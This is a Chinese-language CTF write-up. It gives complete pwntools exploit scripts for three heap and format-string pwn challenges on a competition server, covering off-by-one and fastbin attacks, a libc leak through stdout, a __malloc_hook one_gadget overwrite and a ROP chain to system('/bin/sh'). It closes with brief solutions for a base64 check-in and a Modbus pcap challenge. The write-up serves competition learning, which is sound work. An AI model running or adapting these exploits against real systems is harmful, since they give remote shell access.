

# Igtwo

很明显的 off by one。完整 exp 如下（该脚本需要手动多次执行来爆破）

```
1. from pwn import *
2. context(os = 'linux', arch = 'amd64', log_level = 'debug', terminal = ['tmux', 'splitw', '-h', '-p', '60'])
3. #p = process('./pwn')
4. p = remote('123.56.52.128', 45830)
5. libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
6.
7. def Add(size, content):
8.     p.sendlineafter('>>', '1')
9.     p.sendlineafter('size?', str(size))
10.    p.sendafter('content?', content)
11.
12. def Delete(index):
13.    p.sendlineafter('>>', '2')
14.    p.sendlineafter('index ?', str(index))
15.
16. def Edit(index, content):
17.    p.sendlineafter('>>', '4')
18.    p.sendlineafter('index ?', str(index))
19.    p.sendafter('content ?', content)
20.
21. Add(0x18, 'A'*0x10)
22. Add(0xf8, 'A'*0x10)
23. Add(0x68, 'A'*0x10)
24. Add(0x18, 'A'*0x10)
25.
26. Edit(0, '\x00'*0x18 + '\x71')
27. Delete(1)
28.
29. Add(0xf8, 'A'*0x10)
30. Add(0x68, 'A'*0x10)
31.
32. Edit(0, '\x00'*0x18 + '\x71')
33. Delete(1)
```

```

34.
35. Delete(2)
36. Add(0xf8, 'A'*0x10)
37.
38. Edit(4, '\xdd\x25')
39.
40. Add(0x68, 'A'*0x10)
41. Add(0x68, 'A'*0x10)
42. Edit(5, b'\x00'*0x33 + p64(0xfbad1800) + p64(0)*3 + b'\x00')
43.
44. libc_base = u64(p.recvuntil('\x7f')[-6:] + b'\x00\x00') - 0x3c5600
45. libc.address = libc_base
46. info("libc_base ==> " + hex(libc_base))
47.
48. malloc_hook = libc.symbols['__malloc_hook']
49. realloc = libc.symbols['__libc_realloc']
50.
51. Delete(2)
52. Edit(4, p64(malloc_hook-0x23))
53.
54. Add(0x68, 'A'*0x10)
55. Add(0x68, 'A'*0x10)
56. Edit(6, b'\x00'*(0x13-0x8) + p64(libc_base + 0x4527a) + p64(realloc + 2))
57.
58. #gdb.attach(p, 'b * 0x400929\n')
59. p.sendlineafter('>>', '1')
60. p.sendlineafter('size?', str(100))
61.
62. p.interactive()

```

## Maj0Rone

这题跟今年的高校战役的某题很相似。exp 如下

```

1. #--coding:utf-8--
2. from pwn import *
3. context(os = 'linux', arch = 'amd64', log_level = 'debug', terminal = ['tmux', 'splitw', '-h'])

```

```
4. global p
5. #libc = ELF('libc.so.6')
6. libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
7.
8.
9. def Add(size, content):
10.     p.sendlineafter('>> ', '1')
11.     p.sendlineafter('question', '80')
12.     p.sendlineafter('_____', str(size))
13.     p.sendlineafter('yes_or_no?', content)
14.
15. def Free(index):
16.     p.sendlineafter('>> ', '2')
17.     p.sendlineafter('index ?', str(index))
18.
19. def Show(index):
20.     p.sendlineafter('>> ', '3')
21.     p.sendlineafter('index ?', str(index))
22.
23. def Edit(index, content):
24.     p.sendlineafter('>> ', '4')
25.     p.sendlineafter('index ?', str(index))
26.     p.sendafter('content ?', content)
27.
28. def pwn():
29.     global p
30.     p = remote('123.56.52.128', 18523)
31.     #p = process('./pwn')
32.     Add(0x68, 'A'*0x10)
33.     Add(0x68, 'A'*0x10)
34.     Add(0xe0, 'A'*0x10)
35.     Add(0x10, 'A'*0x10)
36.
37.     Free(2)
38.     Add(0x68, 'A'*0x10)
39.     Free(0)
40.     Free(1)
41.     Free(0)
42.
43.     Add(0x68, 'A'*0x10)
44.     Edit(5, '\xe0')
```

```

45.
46.     try:
47.         Edit(2, '\xdd\x25')
48.         Add(0x68, 'A'*0x10)
49.         Add(0x68, 'A'*0x10)
50.         Add(0x68, 'A'*0x10)
51.         Add(0x68, 'A'*0x10)
52.         Edit(9, b'\x00'*0x33 + p64(0xfbad1800) + p64(0)*3 + b'\x00')
53.         libc_base = u64(p.recvuntil('\x7f')[-6:]) + b'\x00\x00' - 0x3c5600
54.         info("libc_base ==> " + hex(libc_base))
55.     except:
56.         p.close()
57.     return 0
58.
59.
60.
61.     """
62.     open_addr = libc_base + libc.symbols['open']
63.     info("open_addr ==> " + hex(open_addr))
64.     read_addr = libc_base + libc.symbols['read']
65.     info("read_addr ==> " + hex(read_addr))
66.     puts_addr = libc_base + libc.symbols['puts']
67.     info("puts_addr ==> " + hex(puts_addr))
68.     """
69.
70.     malloc_hook = libc_base + libc.symbols['__malloc_hook']
71.     one_gadget = [0x45226, 0x4527a, 0xf0364, 0xf1207]
72.
73.     Free(0)
74.     Free(1)
75.     Free(5)
76.
77.     Add(0x68, 'A'*0x10)
78.     Edit(10, p64(malloc_hook-0x23))
79.     Add(0x68, 'A'*0x10)
80.     Add(0x68, 'A'*0x10)
81.     Add(0x68, 'A'*0x10)
82.     #gdb.attach(p, 'b * 0x402505\nc')
83.     Edit(13, b'\x00'*0x13 + p64(one_gadget[3] + libc_base))
84.
85.     p.sendlineafter('>> ', '1')

```

```
86. p.sendlineafter('question', '80')
87. p.sendlineafter('_____', str(0x10))
88.
89. p.interactive()
90. return 1
91. if __name__ == '__main__':
92.     while True:
93.         if pwn():
94.             break
```

## EASY\_abnormal

这题网上找到原题了，不过网上提供的脚本需要稍加改动才能用，exp 如下

```
1. from pwn import *
2. context(log_level='debug',os='linux',arch='amd64', terminal=['tmux','sp','-h'])
3. #p = process("./pwn")
4. p = remote('123.56.52.128', 10012)
5. libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
6. elf = ELF("./pwn")
7.
8. def show_name():
9.     p.recvuntil(":")
10.    p.sendline('1')
11.
12. def add(content):
13.    p.recvuntil(":")
14.    p.sendline('2')
15.    p.recvuntil("\n")
16.    p.sendline(content)
17. def free(id):
18.    p.recvuntil(":")
19.    p.sendline('3')
20.    p.recvuntil(":")
21.    p.sendline(str(id))
22. def show():
23.    p.sendlineafter(':', '4')
24. def hint(content):
25.    p.recvuntil(":")
```

```

26. p.sendline('23333')
27. p.recvuntil(":")
28. p.sendline(content)
29.
30. p.recvuntil(": ")
31. p.send('%11$p')#leak libc_base
32. show_name()
33. p.recvuntil("INFO:")
34. libc_base = int(p.recv(14),16)-libc.sym['_libc_start_main']-240
35. log.info('libc_base:'+hex(libc_base))
36.
37. ret = libc_base + 0x00000000000000937
38. pop_rdi_ret = libc_base + 0x0000000000002112
39. system = libc_base + libc.sym['system']
40. log.info("system:"+hex(system))
41. str_binsh = libc_base + next(libc.search(b'/bin/sh'))
42. payload = p64(ret)+p64(pop_rdi_ret)+p64(str_binsh)+p64(system)
43.
44. add('a')
45. add(b'b'*0x18+payload)
46. free(1)
47. free(0)
48. show()
49. p.recvuntil("1:")
50. heap_addr = u64(p.recv(6).ljust(8,b'\x00'))
51. log.info("heap_addr:"+hex(heap_addr))
52.
53. #gdb.attach(p,b*$rebase(0x12e8)\nc')
54.
55. hint(b'a'*0x20+p64(heap_addr+0x20)[0:8])
56.
57. p.interactive()

```

## 签到

base64 解密+把解密出来的 5 替换成 6

# Pcap analysis

wireshark 中追踪 modbus 协议 tcp 流, 查看得到 flag

tcp.stream eq 6									
No.	Time	Source	Destination						
225...	526.650588	192.168.74.1	192.168.74.132						
225...	526.651729	192.168.74.132	192.168.74.1						
225...	526.694575	192.168.74.1	192.168.74.132						
225...	527.651328	192.168.74.1	192.168.74.132						
225...	527.651644	192.168.74.132	192.168.74.1						
225...	527.694225	192.168.74.1	192.168.74.132						
225...	528.651974	192.168.74.1	192.168.74.132						
225...	528.652236	192.168.74.132	192.168.74.1						
225...	528.692977	192.168.74.1	192.168.74.132						
225...	529.654329	192.168.74.1	192.168.74.132						
225...	529.654632	192.168.74.132	192.168.74.1						
225...	529.697358	192.168.74.1	192.168.74.132						
225...	530.655892	192.168.74.1	192.168.74.132						
225...	530.656399	192.168.74.132	192.168.74.1						
225...	530.698440	192.168.74.1	192.168.74.132						
225...	531.657516	192.168.74.1	192.168.74.132						
▶ Frame 22574: 62 bytes on wire (496 bits), 62 bytes captured (496 bits) on interface 0									
▶ Ethernet II, Src: Vmware_c0:00:08 (00:50:56:c0:00:08), Dst: 192.168.74.132									
▶ Internet Protocol Version 4, Src: 192.168.74.1, Dst: 192.168.74.132									
▶ Transmission Control Protocol, Src Port: 54413, Dst Port: 54413									
▶ [2 Reassembled TCP Segments (16 bytes): #22571(8), #22572(8)]									
▶ Modbus/TCP									
▼ Function 77: Unknown Function. Exception: Illegal function (1)									
.100 1101 = Function Code: Unknown (77)									
Exception Code: Illegal function (1)									